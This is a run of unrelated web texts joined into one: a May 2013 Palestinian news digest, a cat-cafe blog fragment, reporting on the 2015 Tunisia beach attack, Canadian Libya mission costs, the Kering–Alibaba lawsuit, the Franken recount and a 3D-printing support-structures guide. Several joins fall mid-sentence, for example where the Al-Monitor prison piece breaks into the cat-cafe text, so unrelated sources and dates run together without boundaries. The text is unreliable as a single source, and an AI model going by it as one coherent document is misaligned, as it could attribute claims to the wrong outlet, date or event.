HEBRON (Ma‘an) 21 May — Clashes broke out in Hebron late Monday after Israeli forces physically searched a Palestinian woman near Shuhada street, locals said. Sundus al-Azza, 19, had passed through metal detectors at an Israeli checkpoint but was called back to be patted down by Israeli soldiers, locals said. Al-Azza demanded that a female soldier carry out the search, as is normal protocol, but the soldiers insisted on doing it themselves. The woman then shouted for help and locals in the area immediately rushed to her assistance. Issa Amr, Ahmad Amr and Imad al-Atrash were detained while trying to prevent the male Israeli soldiers searching al-Azza, witnesses said. “Young men from the neighborhood attempted to stop the soldiers who were harassing the girl, a fistfight broke out between both sides before several residents took to the street in protest,” local resident Mufeed Sharabati told Ma‘an. As news of the incident spread, dozens of men flooded the area and hurled stones and empty bottles at Israeli soldiers, who responded with tear gas and rubber-coated steel bullets. The governor of Hebron, Kamil Hmeid, arrived at the scene with officials from the Palestinian Liaison office to investigate the situation.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597662
Dozens injured as army invades Bodrus village
IMEMC 21 May — Monday evening, May 20 2013, Palestinian medical sources reported that several Palestinians have been treated for the effects of teargas inhalation, after Israeli soldiers invaded Bodrus [or Budrus] village, west of the central West Bank city of Ramallah. Property damage and fires have also been reported. Member of the Popular Committee against the Wall and Settlement in the village, Naim Marar, told the Palestinian News & Agency (WAFA) that the army invaded the village from the western side, and harassed several residents while interrogating them, an issue that led to clashes with local youths.
http://www.imemc.org/article/65517
Israel issues arrest warrant for Palestinian Minister of Detainees
IMEMC 20 May — Monday May 20 2013, according to Israel’s daily, Haaretz, the Salem Israeli Military Court issued a warrant ordering the Israeli army to arrest Palestinian Minister of Detainees, Issa Qaraqe‘. Qaraqe‘ said that he was never informed of such a warrant. In an interview with PNN, Qaraqe‘ said that Israel claims he “smuggled mobile phones” to Palestinian political prisoners held by Israel, and added that the Israel’s claims are just a fabrication. He also said that what Haaretz reported, and the allegations that he [was] smuggling mobile phones to the detainees, are merely acts of incitement and false allegations made by Israel as part of its incitement against the detainees and the Palestinian officials. The Minister further stated that Israel recently apprehended Israeli prison officers who smuggled mobile phones to the Palestinian detainees in exchange for cash.
http://www.imemc.org/article/65513
Settlers severely beat handicapped boy near Hebron
HEBRON (Ma‘an) 21 May — Settlers assaulted a 16-year-old handicapped boy in Yatta on Tuesday, leaving him with bruising all over his body, official news agency Wafa reported. Mohammad Shawaheen, 16, was attacked east of Yatta by settlers from Maon. He was taken to hospital for treatment
http://www.maannews.net/eng/ViewDetails.aspx?ID=597645
PA secures release of 2 men from Nablus
NABLUS (Ma‘an) 20 May — The Palestinian Liaison Office said Saturday it had arranged the release of two Palestinians from a village near Nablus who were arrested by Israel for walking close to a settlement. Muhammad Aytani, 47, and Mahmoud Eweis, 21, from al-Sawiya village, were detained after walking too close to the Eli settlement, the liaison office said.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597270
Soldiers kidnap two children in Jerusalem
IMEMC 21 May — Monday, May 20 2013; Israeli soldiers kidnapped two Palestinian schoolchildren returning home from school, in the Al-Wad Road area, in the Old City of occupied East Jerusalem. The twin brothers were released on bail. The Israeli army claimed that a number of Palestinians hurled stones at Israeli military vehicles and settlers, cars driving in the area. Eyewitnesses said that the soldiers kidnapped Nathif and Ibrahim Hani Bader, 10, students of the Islamic Orphanage School in the city, and took them to an interrogation center. The two were released later on after a bail was posted, and will be sent to court at a later date, local sources said.
http://www.imemc.org/article/65516
Soldiers kidnap two [more] children in Jerusalem
IMEMC 21 May — Israeli soldiers kidnapped, on Tuesday at dawn, two Palestinian children in Abu Dis town, in occupied East Jerusalem, after breaking into their families’ homes and violently searching them. Local sources reported that the army invaded the town, approximately at 4 at dawn, and kidnapped two children identified as Mohammad Khaled Jaffal, 14, and Mohammad Ziyad Jaffal, 13.
http://www.imemc.org/article/65524
Army kidnaps three Palestinians near Nablus
IMEMC — Monday at dawn, May 20 2013, Israeli soldiers invaded Kufur Qalil village, south of the northern West Bank city of Nablus, and kidnapped three Palestinians. Local sources reported that the army broke into several homes, and violently searched them causing property damage. The sources added that the three residents have been identified as Saleh Sa’dy Al-’Amer, 22, a student of the An-Najah University in Nablus and a former political prisoner, in addition to Ehab Joseph, 38, and Mohammad Nader Adel, 25.
http://www.imemc.org/article/65509
Israeli forces detain 6 in West Bank arrest raids
NABLUS (Ma‘an) 21 May — Israeli forces arrested six people overnight Monday in the West Bank, locals and Israel’s army said. Israeli military vehicles raided Balata refugee camp in Nablus and detained Khaled al-Asi, 21, Khalil al-Asi, 17, and brothers Abdul Fattah, 20, and Adham Abu Eisheh, 19, locals said. In Tulkarem, Hamza Haloub, 17, was detained after Israeli troops raided his home, relatives said. Haloub was seriously wounded during the raid, his mother told Ma‘an.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597584
Army invades Jenin
IMEMC 21 May — Monday at dawn, May 20 2013, Israeli soldiers, supported by armored jeeps, invaded the northern West Bank city of Jenin, and the Al-Yamoun nearby town, installed a number of roadblocks and interrogated several Palestinians. The army also handed two residents warrants ordering them to head to a nearby military base for interrogation.
http://www.imemc.org/article/65514
PPP slams arrest of five of its members by PA forces
IMEMC 22 May — Tuesday May 21 2013; the leftist Palestinian People’s Party (PPP) issued a statement condemning the arrest of five of its members by the Palestinian Security Forces in the northern West Bank city of Tulkarem. It said that several members are being targeted by the P.A for resisting the Israeli occupation, and practicing their right to Freedom of Speech … Furthermore, the PPS said that Israeli soldiers also kidnapped, on Tuesday at dawn, one of its members in Tulkarem, identified as Abdul-Basset Shreiteh, 21, and added that Israeli soldiers kidnapped six members over the last two months.
http://www.imemc.org/article/65526
PA security arrests a PFLP member in Nablus
IMEMC 21 May — Palestinian sources reported that Palestinian security officers kidnapped, on Monday evening, one of the political leaders of the leftist Popular Front for the Liberation of Palestine (PFLP), from his home, in the northern West Bank city of Nablus.
http://www.imemc.org/article/65518
PA security forces detain 3 Hamas members
BETHLEHEM (Ma‘an) 21 May — Palestinian Authority security forces arrested three Hamas affiliates in the West Bank on Tuesday, the Islamist group said in a statement. Three Hamas members were detained in Bethlehem and Nablus, the group said.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597673
Gaza
Israel to re-extend Gaza fishing zone to 6 miles
GAZA CITY (Ma‘an) 21 May — The Israeli government has decided to re-extend Gaza’s fishing zone to 6 miles, after reducing it in March following a rocket attack from the coastal territory, a statement from Israel’s army said Tuesday. The decision was announced after a meeting between Israeli premier Benjamin Netanyahu and defense minister Moshe Yaalon, who then informed the Palestinian leadership in Ramallah. Senior Egyptian and international officials were also informed about the decision, the statement added.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597629
Israeli occupation gunboats fire at fishing boats in Gaza sea
GAZA (PIC) 21 May — Israeli occupation gunboats on Monday morning opened fire at Palestinian fishing boats in the sea of Gaza and at Palestinian homes near the shore to the west of Gaza City. No human casualties were reported, but light material damage to the fishing boats resulted from the occupation navy assault.
http://www.palestine-info.co.uk/En/default.aspx?xyz=U6Qq7k%2bcOd87MDI46m9rUxJEpMO%2bi1s7D6FpSrdrgB4TdKcREqtcJ%2f3WrZ%2b8Zc4OdJdMCO0oeRIi7dnlKfHnBm6x9LK7pbd3IGFRte7W%2f5nED6xcBXeaBJ48wm4KwLYCz2dRWuBmv5Y%3d
Reporter: Israeli forces arrest fishermen
GAZA CITY (Ma‘an) 20 May – Israeli forces detained two Palestinian fishermen off the coast of Beit Lahiya in the northern Gaza Strip, a Ma‘an correspondent said. Mahmoud and Khaled Zayed were taken to an unknown location and their boat was confiscated.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597336
Egypt reopens Rafah after kidnapped soldiers released
EL-ARISH, Egypt (Ma‘an) 22 May — Egyptian police officers reopened the Rafah crossing on Wednesday following the release of seven Egyptian officers on Wednesday, military officials said. The crossing had been closed for 5 days following the abduction of the servicemen on Thursday by armed gunmen. The seven officers were released in a desert area south of el-Arish city, Egyptian security services told Ma‘an. A military helicopter immediately headed to the area and took the Egyptian officers back to Cairo. A spokesman for the Egyptian armed forces, Colonel Ahmad Muhammad Ali, confirmed that the soldiers had been released and were on their way to Cairo. The release of the servicemen came after intensive efforts by Egyptian intelligence in cooperation with the “noble people of Sinai and tribal sheikhs,” Ali added. Egyptian security sources said the gunmen were Jihadists and were demanding the release of suspects accused of killing Egyptian officers in an attack on el-Arish police station in August.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597974
Thousands stranded as Rafah closed for 5th day
GAZA CITY (Ma‘an) 21 May — Egyptian authorities kept the Rafah crossing with Gaza closed for a fifth consecutive day on Tuesday, despite efforts by Palestinian officials to reopen the terminal. Egyptian police closed the Rafah crossing on Friday after gunmen ambushed two minibuses in Sinai’s Wadi al-Akhdar and detained seven Egyptian servicemen. The police said they would not reopen Rafah crossing until their colleagues were released.
A Gaza based center for human rights said that over 2,400 Palestinians are stranded at both sides of the crossing. The group urged Egyptian authorities to open the crossing and “exclude it from the internal affairs of both sides.” Passengers told Ma‘an on Monday that they were making do with cardboard and newspapers to sleep at night, and to avoid the heat of the sun during the day. Some sleep in mosques, and very few can afford to hire a hotel room in el-Arish. Some passengers have even managed to cross into Gaza through smuggling tunnels.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597608
Jamal al-Dura: Israel killed my son in cold blood
GAZA CITY (Ma‘an) 20 May — The father of Muhammad al-Dura, who was shot dead by Israeli forces in 2000, said Monday that he was not surprised by Israel’s refusal to take responsibility for his son’s death. “Every year the Israelis come up with a new narrative,” Jamal al-Dura told Ma‘an. “Yes, Muhammad is still alive in our hearts and in the hearts of the Arab and Islamic nation as well as all the noble people who support the Palestinian cause.” France 2 reporter Charles Enderlin’s reportage on the incident shows the death of 12-year-old Muhammad in the arms of his father in Sept. 30, 2000 after being caught in the crossfire between Israeli soldiers and Palestinian militants at the start of the second intifada. An Israeli report by the ministry of international affairs and strategy said raw footage of the incident showed that Muhammad was seen alive in the video.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597423
Israel continues to detain Gazans at border crossing
Al-Monitor 17 May by Khaled Kraizim — “It was silent save for the whispers of praise, the recitations of the Quran and the shuffling feet of some Israeli soldiers. All of a sudden, while we were waiting for permission to traverse the crossing that separates Gaza from Israel, they took my husband without reason!” … Um Yousef Maarouf lost all hope of treating her eye after the Israeli occupation detained her husband Zahir at the Beit Hanoun-Erez crossing in the northern part of the Gaza Strip last week. He was accompanying his sick wife because the only treatment option available to her was going to an Israeli hospital inside occupied Palestine. Um Yousef arranged her affairs, grabbed her clothes and bag, gathered her remaining memories of the day her husband was detained and in a daze returned to the Gaza Strip without receiving treatment … In recent years, the Erez crossing — which separates the Gaza Strip from Israel — has become a trap, the victims of whom are subject to detention and investigation, while others are blackmailed into becoming informants for Israeli intelligence services. They are offered entrance into the West Bank for treatment or visitation in exchange for information regarding the resistance.
http://www.al-monitor.com/pulse/originals/2013/05/gaza-border-israel-detains-patients.html
Official: Hamas willing to close down tunnels
GAZA CITY (Ma‘an) 21 May — The Hamas government in Gaza is willing to close down all smuggling tunnels under the Egyptian border once a commercial crossing opens, the undersecretary of the Ministry of Foreign Affairs said Tuesday. “We do not want the tunnels in the first place,” said Ghazi Hamad. “They burden citizens and cause hundreds of fatalities, but they are essential because there is no alternative.” “The tunnels issue can be resolved by finding a solution that balances the security needs of Egypt and the humanitarian needs of the Gaza Strip through lawful commercial transactions monitored by both,” he added in a statement.
http://www.maannews.net/eng/ViewDetails.aspx?ID=597804
The children of Gaza’s tunnels
Al-Monitor 19 May by Khaled Kraizim — Inside a long corridor less than two meters wide, a dim ray of light sneaks through a small opening at the top of the basement where a border tunnel begins. A Palestinian child named Mohammad enters the tunnel in Gaza and walks thousands of meters in the dark to the other end, in Egypt. Dozens of Gaza’s children repeatedly pass through these “crossings of death” — the tunnels separating the border between Egyptian Rafah and Palestinian Rafah. They do so because they are poor. They do so despite the danger that the tunnels might collapse. Lately, Egyptian security forces have been flooding the tunnels with sewage. The tunnels are a way for the people of Gaza to get essentials, which are being otherwise prevented from reaching them by Israel’s seven-year-old blockade. According to local estimates, it is believed that 10,000 people work in the tunnel business. Mohammad, 14, spends ten hours a day transporting merchandise from Egypt to Gaza. He is worried about dying as he tries to earn a living, and he is worried that Egyptian security forces might find the tunnel.
http://www.al-monitor.com/pulse/originals/2013/05/child-labor-gaza-tunnels-egypt-rafah.html
High-profile Gaza visitors leave hollow mark
Al-Monitor 16 May by Rana Baker — It is easy to tell when a high-profile delegation is visiting Gaza. Flags of the delegation’s home country are suddenly fluttering on the lampposts of Gaza’s main roads, and billboards offer words and images of gratitude to the “honorable” guests coming to stand with their kinfolk in their struggle for liberation … The politicians who visit Gaza — typically politicians, monarchs, and religious leaders from majority-Muslim nations — do so more for themselves than for the Palestinians with whom they claim to stand in solidarity. These trips boost support for them back home — as happened with Egypt, Qatar, and Malaysia — and tamp down criticism of them by their people … The money they provide Gaza is aimed at short-term “development,” at best, and is politically motivated, at worst.
http://www.al-monitor.com/pulse/originals/2013/05/gaza-visits-erdogan-qatar.html
Women’s prison in Gaza swells with ‘moral’ criminals
Al-Monitor 16 May by Abeer Ayyoud — At Gaza’s only all-female prison located in the central city, dozens of detained women from across the coastal enclave remain under intense security, irrespective of the crime. Al-Monitor gained access to this high-security, one-story facility with the permission of the Hamas-run Ministry of Interior, on condition that the correspondent be accompanied by a guard, names of prisoners are not published and that the final report was reviewed |
fee of $5 to $8 USD for an hour of typical cafe relaxation - but with a ton of cats lounging around with you. Japan can be a lonely, emotionally void place to live for some. Cat cafes are simply a relief to loneliness for some. Being in the company of twenty or so cats can work wonders for de-stressing. Owning pets can significantly increase your lifespan and quality of life, and I'd imagine spending an hour with them at your leisure could have similar effects [ source ].Despite tough economic times, the Japanese still like to have fun. Japan's Cat Cafes are providing people quite a unique service - and they are popping up all over the place! At Ja La La Cafe in Tokyo (Akihabara district), you can rent out a selection of 12 professional cats. If cats aren't your fancy, you may have the option to rent out a cute bunny rabbit, or even a beetle. For some reason, these cat cafes are most appealing to single men in their 30's. This could be due to frequent business trips and having no time to buy their own pets to accomodate their busy lifestyles.There are more than 150 licensed companies in Tokyo to rent/hire out animals of all varieties, dogs being the most popular. Basically, this is an awesome system for the companies that own these dogs - people pay money to walk them, play with them, and exercise them. It's truly a win-win-win situation, the company makes a small profit, the dogs are happy for the attention, and the people renting them out get a little slice of the feeling of owning a pet.Kaori, a waitress, usually spends her sunday afternoons with a Labrador. She enjoys taking her rental companion for walks in the park, or snuggling in front of the TV in her apartment - "When I look into his eyes, I think he's my dog," She explains, "But when I take him back to the shop, he runs away from me and starts wagging his tail when he sees the next customer. That's when I know he's only a rental dog."All of these creative new businesses usually have the same ideas in mind: happy customers, happy pets.Enjoy some delicious tea or coffee in the cafes, read a magazine, or simply relax and pet a cat in your lap. It's all possible here in Japan, so keep your eyes peeled for them if you ever travel to Japan!Funny cats, funnier fightsA busy cat cafe with more cats than people:Feel free to play with any or all of the cute felines:Security stepped up at UK tourist destinations and events such as Wimbledon in wake of terror attacks in Tunisia, France and Kuwait
At least 15 Britons are now known to be among the 39 tourists killed in the brutal Tunisian beachside massacre on Friday. And the families of seven tourists still missing faced an agonising wait for news after the worst terrorist outrage to hit Britons since the London attacks in July 2005.
“We fear more sad news is to come,” said a Downing Street source. The Observer understands that seven British holidaymakers who were caught up in the attack are in a critical condition in hospital: two are in a coma, and a further three are in intensive care. The condition of 26 other injured people – of other nationalities – was unclear.
The gunman, Tunisian Seifeddine Rezgui, was shot dead by police after his 20-minute shooting spree on Friday. As security was being ramped up at tourist sites and public places across Britain after Friday’s day of bloodshed, in which 60 people died in three attacks across three continents, the first among the victims of the Tunisian shootings were named.
They were 24-year-old photographer Carly Lovett from Lincolnshire; Adrian Evans, 49, who worked for Sandwell council in the West Midlands; his nephew, Joel Richards, 19, who played for Birmingam-based Gaelic football team James Connollys GFC; Irish nurse Lorna Carty, from County Meath; and Lana Lemaire, a Ukrainian who lived in Belgium. Lovett, a beauty and fashion blogger and graduate of the University of Lincolnshire, had travelled to Tunisia on Wednesday with her fiancé, Liam Moore. Expressing their shock, her friends talked of how excited she had been about the trip. One, Dave Overton, said she was a “friendly but also a tough character with a sensible and practical outlook on life”.
Facebook Twitter Pinterest Carly Lovett, in a photograph taken from her blog. Photograph: Instagram
A statement from Birmingham County FA, where Richards was a member of the youth council, said: “A young, talented referee with the world at his feet, Joel was highly thought of and will be sadly missed. Our thoughts and prayers are with his family and friends at this tragic time.”
David Cameron warned the public to be prepared for a rising British death toll. Meanwhile, there was frustration and criticism directed at British Foreign Office officials for being too slow, and “rude and ignorant” towards worried relatives, some of whom took to social media to post pictures of their loved ones. Conor Fulford, from Staffordshire, was trying to find his mother, Sue Davey. He tweeted photographs of her with the hashtag #FindSueDavey.
He criticised the information being given by the Foreign Office: “They just said if they find any leads, they will let us know. I’m at a loss for words at the minute.”
Fulford later confirmed his mother was among the victims. He tweeted: “Hi Everyone, Sorry to tell you we lost my mother Sue Davey tonight but i want to thank everybody that tried to help me & my family”.
Conor Fulford (@ConorFulford) Love you always Mom, I've got my teddy bear you got me tonight, Rest easy xxxx
A cohort of Scotland Yard counter-terrorism officers and consular staff were sent out to the scene of Friday’s beach massacre as travel agents scrambled to lay on extra flights and on Saturday airlifted 2,500 UK holidaymakers out of the north African country.
The Tunisian prime minister, Habib Essid, said that the majority of the dead were British and deplored the attack at the Riu Imperial Marhaba Hotel, where Rezgui, a 23-year-old engineering student, shot his victims with a Kalashnikov rifle he had hidden in a parasol. It was one of three attacks on Friday by gunmen linked to Islamic State.
In Kuwait, a mass funeral was held for the 27 men and boys killed on Friday as they knelt in prayer at a mosque and the Gulf state’s government called for a day of national mourning. The suicide bombing of the Shia mosque in the capital, Kuwait City, left 227 people injured.
In France a man was decapitated in an attack at a factory in Lyon. Yassin Sali, 35, caused an explosion by ramming a car into an area where fuel canisters were being stored but was arrested at the scene.
On Tuesday, an Isis spokesman had called for militants to cause “calamity for infidels” and to step up attacks during the Islamic holy month of Ramadan. David Cameron on Saturday insisted, however, that there was no intelligence to suggest the attacks were deliberately linked.
Cameron, speaking after Saturday’s Cobra emergency committee meeting, repeated warnings that Britain was facing a long-term threat and promised to make a statement in the Commons on Monday to update MPs on the government’s security plans as events developed in Tunisia and elsewhere. He also warned that the public faced “a very severe threat in our country and we have done for many months and many years”.
The UK’s threat level for international terrorism is currently “severe”, meaning an attack is highly likely, and has been since last August in response to conflicts in Iraq and Syria. It is one level below “critical” when an attack is believed “imminent”.
Announcing heightened security at major events, including Armed Forces Day and Wimbledon, which starts on Monday, Cameron said: “If we work together, if we are vigilant, if we back our police and anti-terrorism forces, if we combat this poisonous narrative of Islamist extremism that is radicalising too many young minds in our country; if we do all those things and show the persistence and the determination that I have talked about, then we will overcome.”
Police seized a drone hovering over Wimbledon’s tennis courts as part of a concerted tightening of security as Scotland Yard’s most senior anti-terror official announced police were looking to “strengthen the protection and security of key sites, business and public places around the UK”.
Tunisia’s prime minister has ordered a clampdown on radical mosques in the aftermath of Friday’s attack. Police will close about 80 mosques associated by authorities with radical preachers within a week, with Essid saying they were spreading “venom”.
Thousands of tourists are joining what is threatening to be a mass exodus from the country, one of north Africa’s prime tourist destinations. An estimated 20,000 British tourists are in Tunisia, and many are clamouring to be brought home.
The Foreign Office updated its travel advice, warning against visits to areas of the country in the south and west, with its website saying there is a high threat from terrorism, including kidnapping. Attacks could be indiscriminate, including in places visited by foreigners.OTTAWA — Amid allegations the Conservative government intentionally lowballed the price of the F-35 stealth fighter project, newly released National Defence documents indicate the full cost of last year’s Libya mission was nearly $350-million — seven times what Defence Minister Peter MacKay told Canadians it cost.
The revelation is likely to raise further accusations of a systemic effort to hide the true cost of Canadian military operations and equipment purchases, and lead to fresh demands for accountability.
[np-related]
Last October, with Muammar Gaddafi dead and NATO wrapping up its seven-month air-and-sea campaign in Libya, MacKay said the mission had cost taxpayers $50-million — or about $10-million less than the Defence Department had predicted.
“As of Oct. 13, the figures that I’ve received have us well below [$60-million], somewhere under $50-million,” MacKay told the CBC on Oct. 28, three days before the mission officially ended. “And that’s the all-up costs of the equipment that we have in the theatre, the transportation to get there, those that have been carrying out this critical mission.”
But buried in a report tabled in the House of Commons this week are Defence Department figures pegging the full cost of the mission at more than $347.5-million.
Even taking into account the Defence Department’s controversial practice of only reporting “incremental costs” — those deemed to be above and beyond normal operating expenses — the mission still came in at $100 million, or almost twice what MacKay claimed.
The minister’s office did not respond to questions by time of press.
The Conservative government and Defence Department have been under fire in the past few weeks for using incremental costs instead of full costs when reporting the price Canada will pay for the F-35 stealth fighter — a difference of $10-billion.
By the same token, some observers were questioning the true cost of the Libya mission last year.
The Defence Department has admitted it dropped $25-million in bombs during the mission, and some found it difficult to understand how deploying 11 planes and a frigate to the Mediterranean for seven months cost roughly the same amount.
Steve Staples, president of the Rideau Institute, the Ottawa-based think tank that discovered the Defence Department figures, alleged that the discrepancy is yet another example of MacKay and the military trying to hide the truth.
“Just like the F-35, Minister MacKay has been caught lowballing costs and minimizing overspending in his department, to the point now where I think a lot of Canadians are questioning his credibility and whether we can continue to believe his funny numbers,” Staples said.
The Rideau Institute actually had projected in June 2011 that the Libya mission would cost tens of millions more than the Defence Department was saying. MacKay publicly declared at the time that “the Rideau Institute, as so often is the case, is wrong.” As it turns out, the Rideau Institute’s prediction was much more closer.
MacKay also described Parliamentary Budget Officer Kevin Page’s report in March 2011 — which said the F-35 would cost $30-billion — as “flawed,” though many observers now believe that estimate was much more accurate than the figures provided to Parliament by National Defence.
University of Ottawa defence expert Philippe Lagasse said there is an underlying culture within the Defence Department of hiding full costs to Parliament and the public.
“This has been an ongoing problem,” he said. “It’s linked to departmental culture. We’ve seen this for a number of years and on a number of files. And it’s linked up in the nature of what they do.”
But Lagasse indicated MacKay and the government are not in the clear, and an explanation is required for why the real cost was hidden.
“The question becomes how come the defence minister has a clear, secure number, but that clear, secure number doesn’t end up in the documents,” he said. “Something doesn’t match up there.”NEW YORK (Reuters) - A group of luxury goods makers sued Alibaba Group Holding Ltd (BABA.N) on Friday, contending the Chinese online shopping giant had knowingly made it possible for counterfeiters to sell their products throughout the world.
The logo of the Alibaba Group is seen inside the company's headquarters in Hangzhou, Zhejiang province November 11, 2014. REUTERS/Aly Song
The lawsuit was filed in Manhattan federal court by Gucci, Yves Saint Laurent and other brands owned by Paris-based Kering SA (PRTP.PA) seeking damages and an injunction for alleged violations of trademark and racketeering laws.
The lawsuit alleged that Alibaba had conspired to manufacture, offer for sale and traffic in counterfeit products bearing their trademarks without their permission.
A spokesman for Alibaba, Bob Christie, said in a statement:
“We continue to work in partnership with numerous brands to help them protect their intellectual property, and we have a strong track record of doing so. Unfortunately, Kering Group has chosen the path of wasteful litigation instead of the path of constructive cooperation. We believe this complaint has no basis and we will fight it vigorously.”
Concerns over fake products on Alibaba’s platforms, including online marketplace Taobao, have dogged it for years, although the U.S. Trade Representative removed Taobao from its list of “notorious markets” in 2012 in light of progress made.
Friday’s lawsuit marked the second time in less than a year that the Kering brands had sued Alibaba over the alleged sale of counterfeit products.
An earlier lawsuit was filed in July only to be withdrawn the same month with the ability to refile it while the Kering units worked toward a resolution with Alibaba, according to court records.
The lawsuit alleged that Alibaba and its related entities “provide the marketplace advertising and other essential services necessary for counterfeiters to sell their counterfeit products to customers in the United States.”
The lawsuit cited, for example, an alleged fake Gucci bag offered for $2 to $5 each by a Chinese merchant to buyers seeking at least 2,000 units. The authentic Gucci bag retails for $795, the complaint said.
Alibaba has allowed for counterfeit sales to continue even when it had been expressly informed that merchants were selling fake products, the lawsuit said.
The lawsuit seeks a court order that, among other things, would block Alibaba from offering or facilitating the sale of counterfeit products and unspecified damages that could include $2 per counterfeit item under a statutory regime.
The case is Gucci America Inc v. Alibaba Group Holding Ltd, U.S. District Court, Southern District of New York, No. 15-03784.ADVERTISEMENT
What happened
The gap between Democrat Al Franken and Republican Sen. Norm Coleman narrowed to 126 votes on Thursday, after Minnesota officials counted about 46 percent of the 2.9 million ballots cast in the state's undecided Senate race. (Minneapolis-St. Paul Star-Tribune)
What the commentators said
We're clearly "heading for a photo finish," said John Hinderaker in Power Line. But it's hard to interpret the figures so far. It would make sense that Franken gained ground if, as expected, the first precincts recounted were in Democrat-friendly cities, but it's unclear if that was the case.
Even after the recount is complete, said Markos Moulitsas Zuniga in DailyKos, there will be the challenged ballots to contend with, and Coleman is being more aggressive in challenging ballots, which might give him the advantage. But for now, "all that is important is that the deficit is narrowing, and that if this rate holds (no guarantee, of course) then Franken will narrowly win the race."
One reason for all the confusion, said David Knowles in AOL News, is that we're dealing with a "razor-thin contest" in which people cast votes using different equipment in counties across the state. Oh, and the Democrats' hopes for a filibuster-proof Senate majority hang in the balance. "Why can't this country finally standardize the process of how we vote, especially when it comes to races that have national implications?"Learn what a 3D printed support structure is, when support is needed and how support might affect the quality and price of your print.
Introduction
As 3D printed parts are built layer by layer, a previous layer to build upon is required. Depending on the specific 3D Printing technology and the complexity of the 3D model, this can mean that a 3D print requires support structures.
When considering what technology to print a 3D model with, it is important to consider support structures and how they may affect the final result. Support structures will have an impact on surface finish as they require post-processing work to remove, resulting in blemishes or surface roughness.
This article discusses supports, how supports are implemented for each 3D printing technology, and how the use of supports can impact the design decision making process.
Supports in FDM
Fused Deposition Modeling (FDM) extrudes a melted filament onto a build surface along a predetermined path. As the material is extruded, it cools, forming a solid surface providing the foundation for the next layer of material to be built upon. This is repeated layer by layer until the object is completed.
When is support needed in FDM?
With FDM printing, each layer is printed as a set of heated filament threads which adhere to the threads below and around it. Each thread is printed slightly offset from its previous layer. This allows a model to be built up to angles of 45°, allowing prints to expand beyond its previous layer’s width.
When a feature is printed with an overhang beyond 45°, it can sag and requires support material beneath it to hold it up. More information on overhangs and FDM can be found here.
Depending on the degree of overhang, your FDM print might need support
Bridging vs support
There is an exception to this rule:
Hot material can be stretched short distances between two points in a method known as bridging. Bridging allows material to be printed without support and with minimal sag. If a bridge is over 5 mm long, generally, support is required to give an accurate surface finish.
More information on bridging and FDM can be found here.
The ABCs (or YHTs) of FDM support
Consider the letters Y, H, and T, and a set of associated 3D models.
The arms of a model of the letter Y can be printed easily. Even though the arms the of Y are outstretched, because they extend at 45 degrees or less, they do not require support.
The letter H is a little more complicated but if the center bridge is under 5mm, it can be printed without support or any sagging. Over 5mm and support will be required. For this example, the center bridge is over 5mm and support is needed.
The letter T requires support for the arms of the letter. There is nothing for the outer arms to be printed on and the material will just fall down without support.
The image below illustrates YHT with the support material shown in light gray.
A visual illustration of support structures needed for printing a Y, H & T with FDM.
Here is how the YHTs look when printed. The image below now shows the result of the T printed without support. The surface has significant sagging and will require a large amount of post-processing to clean up.
Y, H, and T printed with FDM with support
The letter T fails when printed with FDM without any support structure
The downside of FDM support material
One of the limitations of using support in FDM printing is that post-processing is always required, resulting in marks or damage to the surface in contact with the support.
Another issue is that layers printed upon support will be less perfect as the support will be slightly less stationary than the solid layers.
Support can also be difficult to remove from small, intricate features without breaking the model.
Furthermore, support requires additional printing material and therefore incurs additional costs. The support also needs removal, creating more work for the 3D printing service provider which can also increase the total cost of the print job.
Puzzle piece with support removed showing surface roughness.
How much support is needed for my FDM print?
The arch example below requires only a limited amount of support placed in the correct location to allow it to be printed accurately.
The St. Louis Gateway Arch shows the perfect example of using support with an arch shaped object.
The “Ball in a Cube” shown below is an example that requires a large amount of support.
Removal of the support in this example is complex and involves removing each support element with needle-nose pliers while attempting to limit the damage to the surfaces surrounding the support. Sanding or smoothing the surface after removal of the support is also very difficult.
Without support material this model can simply not be printed in FDM without compromising on quality and accuracy. In this case - despite the added cost and print time - the additional support material used is essential to being able to complete the print.
Close up of “Ball in a Cube” print showing the support structure needed.
Two types of FDM support
FDM printing methods utilize two types of support:
The first, a sort of flat accordion, or lattice, is the most common and is best suited for most FDM prints.
The other type is a 'tree-like' support and is preferred by some printers. This method of support is less popular, however it has less contact with the print surface which can result in a better surface finish post processing.
The printer operator will generally specify the type of support that best suits your application and thus minimizes the aesthetic impact on your design.
Curious about the cost and material options for FDM? Get instant quote See all FDM materials
Two different types of support structures: Accordion support (left) and tree support (right).
Dissolvable support
On finely tuned printers with two print heads, the support material can be printed with a dissolvable material that does not tear away from the part but instead dissolves away in a chemical solution that does not affect the main material of the printed model.
This will result in a better surface finish where the support is in contact with the main material but can be an expensive and a time-consuming solution.
An example of this is the Ultimaker 3 machine, which utilizes support printed in PVA that is easily dissolved post print. All industrial FDM machines use disolvable support.
SLA & DLP support structures
Stereolithography (SLA) and Digital Light Processing (DLP) create 3D printed objects from a liquid (photopolymer) resin by using a light source to solidify the liquid material.
Depending on the exact printer type, this means that the model is either pulled out of a vat containing liquid material as it is solidified by a light source through a translucent window at the bottom (bottom-up), or it is submerged into the liquid as the top layer is treated by a light source from the top (top-down).
SLA printing process
When is support needed in SLA & DLP?
To make sure that the prints adhere to the print platform and do not float around in the vat, SLA and DLP printers require the use of supports in almost all cases.
Support structures from these printers look like thin ribs, with only small tips actually touching the model to save material and printing time. The number of supports, their location, where they touch the model and the structure is calculated by the software and is dependent on the shape, orientation and weight of the part being printed.
SLA and DLP are some of the most accurate technologies, capable of printing even the smallest and most intricate objects with accurate detail. With proper post-processing, the usage of supports does not impact the quality of the print.
An SLA print with support structure
Removing support material from SLA & DLP prints
First, Isopropyl Alcohol (IPA) is used to wash liquid resin off your completed parts. Support structures can be either broken off the surface of the model or removed using pliers. The spots where the support was in contact with the object are then sanded to remove any remaining marks.
Removing support structures from an SLA print
Design Considerations for supports in SLA & DLP
Part orientation plays a crucial role on where support is located for SLA and DLP printing. By reorienting a part, the amount of support (and therefore the cost of the print) can be drastically reduced.
Orientation also plays an important role in where support will be located. If the aesthetic appearance of a surface on a component is paramount, orientating the part so that there is little to no support in contact with that area can also be an option.
